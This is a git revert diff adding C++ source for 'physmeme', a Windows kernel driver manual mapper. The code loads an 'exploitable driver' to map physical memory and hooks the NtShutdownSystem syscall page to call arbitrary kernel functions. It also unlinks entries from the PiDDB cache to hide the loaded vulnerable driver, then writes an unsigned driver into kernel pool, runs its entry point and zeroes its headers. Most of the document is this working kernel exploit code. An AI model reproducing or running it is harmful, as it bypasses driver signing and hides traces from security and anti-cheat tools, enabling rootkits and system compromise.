Revert "fixed an issue where only *sometimes* the driver would return an invalid"

This reverts commit c960f3c60e
merge-requests/1/head
_xeroxz 4 years ago
parent c960f3c60e
commit eb768dda0c

@ -0,0 +1,215 @@
/*
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or
distribute this software, either in source code form or as a compiled
binary, for any purpose, commercial or non-commercial, and by any
means.
In jurisdictions that recognize copyright laws, the author or authors
of this software dedicate any and all copyright interest in the
software to the public domain. We make this dedication for the benefit
of the public at large and to the detriment of our heirs and
successors. We intend this dedication to be an overt act of
relinquishment in perpetuity of all present and future rights to this
software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
For more information, please refer to <http://unlicense.org>
!!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
*/
#include <fstream>
#include "../drv_image/drv_image.h"
namespace physmeme
{
drv_image::drv_image(std::vector<uint8_t> image) : m_image(std::move(image))
{
m_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(m_image.data());
m_nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS64>((uintptr_t)m_dos_header + m_dos_header->e_lfanew);
m_section_header = reinterpret_cast<IMAGE_SECTION_HEADER*>((uintptr_t)(&m_nt_headers->OptionalHeader) + m_nt_headers->FileHeader.SizeOfOptionalHeader);
}
size_t drv_image::size() const
{
return m_nt_headers->OptionalHeader.SizeOfImage;
}
uintptr_t drv_image::entry_point() const
{
return m_nt_headers->OptionalHeader.AddressOfEntryPoint;
}
void drv_image::map()
{
m_image_mapped.clear();
m_image_mapped.resize(m_nt_headers->OptionalHeader.SizeOfImage);
std::copy_n(m_image.begin(), m_nt_headers->OptionalHeader.SizeOfHeaders, m_image_mapped.begin());
for (size_t i = 0; i < m_nt_headers->FileHeader.NumberOfSections; ++i)
{
const auto& section = m_section_header[i];
const auto target = (uintptr_t)m_image_mapped.data() + section.VirtualAddress;
const auto source = (uintptr_t)m_dos_header + section.PointerToRawData;
std::copy_n(m_image.begin() + section.PointerToRawData, section.SizeOfRawData, m_image_mapped.begin() + section.VirtualAddress);
printf("[+] copying [%s] 0x%p -> 0x%p [0x%04X]\n", &section.Name[0], (void*)source, (void*)target, section.SizeOfRawData);
}
}
bool drv_image::process_relocation(uintptr_t image_base_delta, uint16_t data, uint8_t* relocation_base)
{
#define IMR_RELOFFSET(x) (x & 0xFFF)
switch (data >> 12 & 0xF)
{
case IMAGE_REL_BASED_HIGH:
{
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(HIWORD(image_base_delta));
break;
}
case IMAGE_REL_BASED_LOW:
{
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(LOWORD(image_base_delta));
break;
}
case IMAGE_REL_BASED_HIGHLOW:
{
const auto raw_address = reinterpret_cast<size_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<size_t>(image_base_delta);
break;
}
case IMAGE_REL_BASED_DIR64:
{
auto UNALIGNED raw_address = reinterpret_cast<DWORD_PTR UNALIGNED*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += image_base_delta;
break;
}
case IMAGE_REL_BASED_ABSOLUTE: // No action required
case IMAGE_REL_BASED_HIGHADJ: // no action required
{
break;
}
default:
{
return false;
}
}
#undef IMR_RELOFFSET
return true;
}
void drv_image::relocate(void* base) const
{
if (m_nt_headers->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED)
return;
ULONG total_count_bytes;
const auto nt_headers = ImageNtHeader((void*)m_image_mapped.data());
auto relocation_directory = (PIMAGE_BASE_RELOCATION)::ImageDirectoryEntryToData(nt_headers, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &total_count_bytes);
auto image_base_delta = static_cast<uintptr_t>(reinterpret_cast<uintptr_t>(base) - (nt_headers->OptionalHeader.ImageBase));
auto relocation_size = total_count_bytes;
// This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) too but lots of drivers do not have it set due to WDK defaults
const bool doRelocations = image_base_delta != 0 && relocation_size > 0;
if (!doRelocations)
{
printf("[+] no relocations needed\n");
return;
}
void* relocation_end = reinterpret_cast<uint8_t*>(relocation_directory) + relocation_size;
while (relocation_directory < relocation_end)
{
auto relocation_base = ::ImageRvaToVa(nt_headers, (void*)m_image_mapped.data(), relocation_directory->VirtualAddress, nullptr);
auto num_relocs = (relocation_directory->SizeOfBlock - 8) >> 1;
auto relocation_data = reinterpret_cast<PWORD>(relocation_directory + 1);
for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data)
{
if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE)
{
printf("[+] failed to relocate!");
return;
}
}
relocation_directory = reinterpret_cast<PIMAGE_BASE_RELOCATION>(relocation_data);
}
}
template<typename T>
__forceinline T* ptr_add(void* base, uintptr_t offset)
{
return (T*)(uintptr_t)base + offset;
}
void drv_image::fix_imports(const std::function<uintptr_t(std::string_view)> get_module, const std::function<uintptr_t(const char*, const char*)> get_function)
{
ULONG size;
auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size));
if (import_descriptors == nullptr)
{
printf("[+] no imports!\n");
return;
}
for (; import_descriptors->Name; import_descriptors++)
{
IMAGE_THUNK_DATA* image_thunk_data;
const auto module_name = get_rva<char>(import_descriptors->Name);
const auto module_base = get_module(module_name);
printf("[+] processing module: %s [0x%I64X]\n", module_name, module_base);
if (import_descriptors->OriginalFirstThunk)
image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->OriginalFirstThunk);
else
image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->FirstThunk);
auto image_func_data = get_rva<IMAGE_THUNK_DATA64>(import_descriptors->FirstThunk);
;
for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++)
{
uintptr_t function_address;
const auto ordinal = (image_thunk_data->u1.Ordinal & IMAGE_ORDINAL_FLAG64) != 0;
const auto image_import_by_name = get_rva<IMAGE_IMPORT_BY_NAME>(*(DWORD*)image_thunk_data);
const auto name_of_import = static_cast<char*>(image_import_by_name->Name);
function_address = get_function(module_name, name_of_import);
printf("[+] function: %s [0x%I64X]\n", name_of_import, function_address);
image_func_data->u1.Function = function_address;
}
}
}
void* drv_image::data()
{
return m_image_mapped.data();
}
size_t drv_image::header_size()
{
return m_nt_headers->OptionalHeader.SizeOfHeaders;
}
}

@ -0,0 +1,77 @@
/*
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or
distribute this software, either in source code form or as a compiled
binary, for any purpose, commercial or non-commercial, and by any
means.
In jurisdictions that recognize copyright laws, the author or authors
of this software dedicate any and all copyright interest in the
software to the public domain. We make this dedication for the benefit
of the public at large and to the detriment of our heirs and
successors. We intend this dedication to be an overt act of
relinquishment in perpetuity of all present and future rights to this
software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
For more information, please refer to <http://unlicense.org>
!!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
*/
#pragma once
#include <vector>
#define WIN32_NO_STATUS
#include <Windows.h>
#include <Winternl.h>
#undef WIN32_NO_STATUS
#include <ntstatus.h>
#include <functional>
#include <DbgHelp.h>
#include <variant>
#include "../util/nt.hpp"
#pragma comment(lib, "Dbghelp.lib")
namespace physmeme
{
class drv_image
{
std::vector<uint8_t> m_image;
std::vector<uint8_t> m_image_mapped;
PIMAGE_DOS_HEADER m_dos_header = nullptr;
PIMAGE_NT_HEADERS64 m_nt_headers = nullptr;
PIMAGE_SECTION_HEADER m_section_header = nullptr;
public:
explicit drv_image(std::vector<uint8_t> image);
size_t size() const;
uintptr_t entry_point() const;
void map();
static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base);
void relocate(void* base) const;
template<typename T>
__forceinline T* get_rva(const unsigned long offset)
{
return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr);
}
void fix_imports(
const std::function<uintptr_t(std::string_view)> get_module,
const std::function<uintptr_t(const char*, const char*)> get_function
);
void* data();
size_t header_size();
};
}

@ -0,0 +1,346 @@
#include "kernel_ctx.h"
namespace physmeme
{
kernel_ctx::kernel_ctx()
{
if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer)
return;
nt_rva = reinterpret_cast<std::uint32_t>(
util::get_kernel_export(
"ntoskrnl.exe",
syscall_hook.first.data(),
true
));
nt_page_offset = nt_rva % page_size;
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES)
);
std::vector<std::thread> search_threads;
//--- for each physical memory range, make a thread to search it
for (auto ranges : util::pmem_ranges)
search_threads.emplace_back(std::thread(
&kernel_ctx::map_syscall,
this,
ranges.first,
ranges.second
));
for (std::thread& search_thread : search_threads)
search_thread.join();
}
void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
{
//if the physical memory range is less then or equal to 2mb
if (begin + end <= 0x1000 * 512)
{
auto page_va = physmeme::map_phys(begin + nt_page_offset, end);
if (page_va)
{
// scan every page of the physical memory range
for (auto page = page_va; page < page_va + end; page += 0x1000)
if (!is_page_found.load()) // keep scanning until its found
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandleA(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
physmeme::unmap_phys(page_va, end);
}
}
else // else the range is bigger then 2mb
{
auto remainder = (begin + end) % (0x1000 * 512);
// loop over 2m chunks
for (auto range = begin; range < begin + end; range += 0x1000 * 512)
{
auto page_va = physmeme::map_phys(range + nt_page_offset, 0x1000 * 512);
if (page_va)
{
// loop every page of 2mbs (512)
for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000)
{
if (!is_page_found.load())
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
}
physmeme::unmap_phys(page_va, 0x1000 * 512);
}
}
// map the remainder and check each page of it
auto page_va = physmeme::map_phys(begin + end - remainder + nt_page_offset, remainder);
if (page_va)
{
for (auto page = page_va; page < page_va + remainder; page += 0x1000)
{
if (!is_page_found.load())
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
}
physmeme::unmap_phys(page_va, remainder);
}
}
}
bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)
{
static const auto piddb_lock =
util::memory::get_piddb_lock();
static const auto piddb_table =
util::memory::get_piddb_table();
if (!piddb_lock || !piddb_table)
return false;
static const auto ex_acquire_resource =
util::get_kernel_export(
"ntoskrnl.exe",
"ExAcquireResourceExclusiveLite"
);
static const auto lookup_element_table =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlLookupElementGenericTableAvl"
);
static const auto release_resource =
util::get_kernel_export(
"ntoskrnl.exe",
"ExReleaseResourceLite"
);
static const auto delete_table_entry =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlDeleteElementGenericTableAvl"
);
if (!ex_acquire_resource || !lookup_element_table || !release_resource)
return false;
PiDDBCacheEntry cache_entry;
const auto drv_name = std::wstring(file_name.begin(), file_name.end());
cache_entry.time_stamp = timestamp;
RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data());
//
// ExAcquireResourceExclusiveLite
//
if (!syscall<ExAcquireResourceExclusiveLite>(ex_acquire_resource, piddb_lock, true))
return false;
//
// RtlLookupElementGenericTableAvl
//
PIDCacheobj* found_entry_ptr =
syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
if (found_entry_ptr)
{
//
// unlink entry.
//
PIDCacheobj found_entry = read_kernel<PIDCacheobj>(found_entry_ptr);
LIST_ENTRY NextEntry = read_kernel<LIST_ENTRY>(found_entry.list.Flink);
LIST_ENTRY PrevEntry = read_kernel<LIST_ENTRY>(found_entry.list.Blink);
PrevEntry.Flink = found_entry.list.Flink;
NextEntry.Blink = found_entry.list.Blink;
write_kernel<LIST_ENTRY>(found_entry.list.Blink, PrevEntry);
write_kernel<LIST_ENTRY>(found_entry.list.Flink, NextEntry);
//
// delete entry.
//
syscall<RtlDeleteElementGenericTableAvl>(delete_table_entry, piddb_table, found_entry_ptr);
//
// ensure the entry is 0
//
auto result = syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return !result;
}
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return false;
}
void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type)
{
static const auto ex_alloc_pool =
util::get_kernel_export(
"ntoskrnl.exe",
"ExAllocatePool"
);
return syscall<ExAllocatePool>(
ex_alloc_pool,
pool_type,
size
);
}
void* kernel_ctx::allocate_pool(std::size_t size, ULONG pool_tag, POOL_TYPE pool_type)
{
static const auto ex_alloc_pool_with_tag =
util::get_kernel_export(
"ntoskrnl.exe",
"ExAllocatePoolWithTag"
);
return syscall<ExAllocatePoolWithTag>(
ex_alloc_pool_with_tag,
pool_type,
size,
pool_tag
);
}
void kernel_ctx::read_kernel(void* addr, void* buffer, std::size_t size)
{
static const auto mm_copy_memory =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlCopyMemory"
);
syscall<decltype(&memcpy)>(
mm_copy_memory,
buffer,
addr,
size
);
}
void kernel_ctx::write_kernel(void* addr, void* buffer, std::size_t size)
{
static const auto mm_copy_memory =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlCopyMemory"
);
syscall<decltype(&memcpy)>(
mm_copy_memory,
addr,
buffer,
size
);
}
void kernel_ctx::zero_kernel_memory(void* addr, std::size_t size)
{
static const auto rtl_zero_memory =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlZeroMemory"
);
syscall<decltype(&RtlSecureZeroMemory)>(
rtl_zero_memory,
addr,
size
);
}
PEPROCESS kernel_ctx::get_peprocess(unsigned pid) const
{
if (!pid)
return {};
PEPROCESS proc;
static auto get_peprocess_from_pid =
util::get_kernel_export(
"ntoskrnl.exe",
"PsLookupProcessByProcessId"
);
syscall<PsLookupProcessByProcessId>(
get_peprocess_from_pid,
(HANDLE)pid,
&proc
);
return proc;
}
void* kernel_ctx::get_proc_base(unsigned pid) const
{
if (!pid)
return {};
const auto peproc = get_peprocess(pid);
if (!peproc)
return {};
static auto get_section_base =
util::get_kernel_export(
"ntoskrnl.exe",
"PsGetProcessSectionBaseAddress"
);
return syscall<PsGetProcessSectionBaseAddress>(
get_section_base,
peproc
);
}
}

@ -0,0 +1,133 @@
#pragma once
#include <windows.h>
#include <iostream>
#include <string_view>
#include <vector>
#include <thread>
#include <atomic>
#include "../util/util.hpp"
#include "../physmeme/physmeme.hpp"
#include "../util/hook.hpp"
namespace physmeme
{
//
// offset of function into a physical page
// used for comparing bytes when searching
//
inline std::uint16_t nt_page_offset{};
//
// rva of nt function we are going to hook
//
inline std::uint32_t nt_rva{};
//
// base address of ntoskrnl (inside of this process)
//
inline const std::uint8_t* ntoskrnl_buffer{};
//
// has the page been found yet?
//
inline std::atomic<bool> is_page_found = false;
//
// mapping of a syscalls physical memory (for installing hooks)
//
inline std::atomic<void*> psyscall_func{};
//
// you can edit this how you choose, im hooking NtShutdownSystem.
//
inline const std::pair<std::string_view, std::string_view> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
class kernel_ctx
{
public:
//
// default constructor
//
kernel_ctx();
//
// allocate kernel pool of desired size and type
//
void* allocate_pool(std::size_t size, POOL_TYPE pool_type = NonPagedPool);
//
// allocate kernel pool of size, pool tag, and type
//
void* allocate_pool(std::size_t size, ULONG pool_tag = 'MEME', POOL_TYPE pool_type = NonPagedPool);
//
// read kernel memory with RtlCopyMemory
//
void read_kernel(void* addr, void* buffer, std::size_t size);
//
// write kernel memory with RtlCopyMemory
//
void write_kernel(void* addr, void* buffer, std::size_t size);
//
// zero kernel memory using RtlZeroMemory
//
void zero_kernel_memory(void* addr, std::size_t size);
//
// clear piddb cache of a specific driver
//
bool clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp);
template <class T>
T read_kernel(void* addr)
{
if (!addr)
return {};
T buffer;
read_kernel(addr, (void*)&buffer, sizeof(T));
return buffer;
}
template <class T>
void write_kernel(void* addr, const T& data)
{
if (!addr)
return;
write_kernel(addr, (void*)&data, sizeof(T));
}
template <class T, class ... Ts>
std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
{
static const auto proc =
GetProcAddress(
GetModuleHandleA("ntdll.dll"),
syscall_hook.first.data()
);
hook::make_hook(psyscall_func, addr);
auto result = reinterpret_cast<T>(proc)(args ...);
hook::remove(psyscall_func);
return result;
}
private:
//
// find and map the physical page of a syscall into this process
//
void map_syscall(std::uintptr_t begin, std::uintptr_t end) const;
//
// used in conjunction with get_process_base.
//
PEPROCESS get_peprocess(unsigned pid) const;
//
// get base address of process (used to compare and ensure we find the right page).
//
void* get_proc_base(unsigned pid) const;
};
}

@ -0,0 +1,281 @@
/*
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <Winternl.h>
#include <string>
#include <fstream>
#include <filesystem>
#pragma comment(lib, "ntdll.lib")
using nt_load_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
using nt_unload_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
namespace driver
{
namespace util
{
inline bool delete_service_entry(const std::string& service_name)
{
HKEY reg_handle;
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && ERROR_SUCCESS == RegCloseKey(reg_handle);;
}
inline bool create_service_entry(const std::string& drv_path, const std::string& service_name)
{
HKEY reg_handle;
std::string reg_key("System\\CurrentControlSet\\Services\\");
reg_key += service_name;
auto result = RegCreateKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
if (result != ERROR_SUCCESS)
return false;
//
// set type to 1 (kernel)
//
constexpr std::uint8_t type_value = 1;
result = RegSetValueExA(
reg_handle,
"Type",
NULL,
REG_DWORD,
&type_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
//
// set error control to 3
//
constexpr std::uint8_t error_control_value = 3;
result = RegSetValueExA(
reg_handle,
"ErrorControl",
NULL,
REG_DWORD,
&error_control_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
//
// set start to 3
//
constexpr std::uint8_t start_value = 3;
result = RegSetValueExA(
reg_handle,
"Start",
NULL,
REG_DWORD,
&start_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
//
// set image path to the driver on disk
//
result = RegSetValueExA(
reg_handle,
"ImagePath",
NULL,
REG_SZ,
(std::uint8_t*) drv_path.c_str(),
drv_path.size()
);
if (result != ERROR_SUCCESS)
return false;
return ERROR_SUCCESS == RegCloseKey(reg_handle);
}
// this function was coded by paracord: https://githacks.org/snippets/4#L94
inline bool enable_privilege(const std::wstring& privilege_name)
{
HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
return false;
LUID luid{};
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
return false;
TOKEN_PRIVILEGES token_state{};
token_state.PrivilegeCount = 1;
token_state.Privileges[0].Luid = luid;
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
return false;
CloseHandle(token_handle);
return true;
}
inline std::string get_service_image_path(const std::string& service_name)
{
HKEY reg_handle;
DWORD bytes_read;
char image_path[0xFF];
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
result = RegGetValueA(
reg_handle,
service_name.c_str(),
"ImagePath",
REG_SZ,
NULL,
image_path,
&bytes_read
);
RegCloseKey(reg_handle);
return std::string(image_path);
}
}
inline bool load(const std::string& drv_path, const std::string& service_name)
{
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
return false;
if (!util::create_service_entry("\\??\\" + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
return false;
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
static const auto lp_nt_load_drv =
::GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtLoadDriver"
);
if (lp_nt_load_drv)
{
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return ERROR_SUCCESS == reinterpret_cast<nt_load_driver_t>(lp_nt_load_drv)(&driver_reg_path_unicode);
}
return false;
}
inline std::tuple<bool, std::string> load(const std::vector<std::uint8_t>& drv_buffer)
{
static const auto random_file_name = [](std::size_t length) -> std::string
{
static const auto randchar = []() -> char
{
const char charset[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
const std::size_t max_index = (sizeof(charset) - 1);
return charset[rand() % max_index];
};
std::string str(length, 0);
std::generate_n(str.begin(), length, randchar);
return str;
};
const auto service_name = random_file_name(16);
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
std::ofstream output_file(file_path.c_str(), std::ios::binary);
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
output_file.close();
return { load(file_path, service_name), service_name };
}
inline std::tuple<bool, std::string> load(const std::uint8_t* buffer, const std::size_t size)
{
std::vector<std::uint8_t> image(buffer, buffer + size);
return load(image);
}
inline bool unload(const std::string& service_name)
{
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
static const auto lp_nt_unload_drv =
::GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtUnloadDriver"
);
if (lp_nt_unload_drv)
{
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode);
const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
const bool delete_reg = util::delete_service_entry(service_name);
try
{
const bool delete_drv = std::filesystem::remove(image_path);
}catch (std::exception& e) {}
return unload_drv && delete_reg;
}
return false;
}
}

@ -0,0 +1,91 @@
#include "kernel_ctx/kernel_ctx.h"
#include "drv_image/drv_image.h"
namespace physmeme
{
NTSTATUS __cdecl map_driver(std::vector<std::uint8_t>& raw_driver)
{
physmeme::drv_image image(raw_driver);
//
// load exploitable driver
//
if (!physmeme::load_drv())
return STATUS_ABANDONED;
physmeme::kernel_ctx ctx;
//
// shoot the tires off piddb cache.
//
const auto drv_timestamp = util::get_file_header(raw_driver.data())->TimeDateStamp;
if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp))
return STATUS_ABANDONED;
//
// lambdas used for fixing driver image
//
const auto _get_module = [&](std::string_view name)
{
return util::get_module_base(name.data());
};
const auto _get_export_name = [&](const char* base, const char* name)
{
return reinterpret_cast<std::uintptr_t>(util::get_kernel_export(base, name));
};
//
// fix the driver image
//
image.fix_imports(_get_module, _get_export_name);
image.map();
//
// allocate memory in the kernel for the driver
//
const auto pool_base =
ctx.allocate_pool(
image.size(),
NonPagedPool
);
image.relocate(pool_base);
//
// copy driver into the kernel
//
ctx.write_kernel(pool_base, image.data(), image.size());
//
// driver entry
//
auto entry_point = reinterpret_cast<std::uintptr_t>(pool_base) + image.entry_point();
//
// call driver entry
//
auto result = ctx.syscall<DRIVER_INITIALIZE>(
reinterpret_cast<void*>(entry_point),
reinterpret_cast<std::uintptr_t>(pool_base),
image.size()
);
//
// zero driver headers
//
ctx.zero_kernel_memory(pool_base, image.header_size());
physmeme::unmap_all();
if (!physmeme::unload_drv())
return STATUS_ABANDONED;
return result;
}
NTSTATUS __cdecl map_driver(std::uint8_t * image, std::size_t size)
{
std::vector<std::uint8_t> data(image, image + size);
return map_driver(data);
}
}

@ -0,0 +1,9 @@
#pragma once
#include <vector>
#include <Windows.h>
namespace physmeme
{
NTSTATUS __cdecl map_driver(std::vector<std::uint8_t>& raw_driver);
NTSTATUS __cdecl map_driver(std::uint8_t * image, std::size_t size);
}

@ -0,0 +1,178 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<ProjectGuid>{13FFA531-AD46-46F8-B52D-4A01BA078034}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>physmeme</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
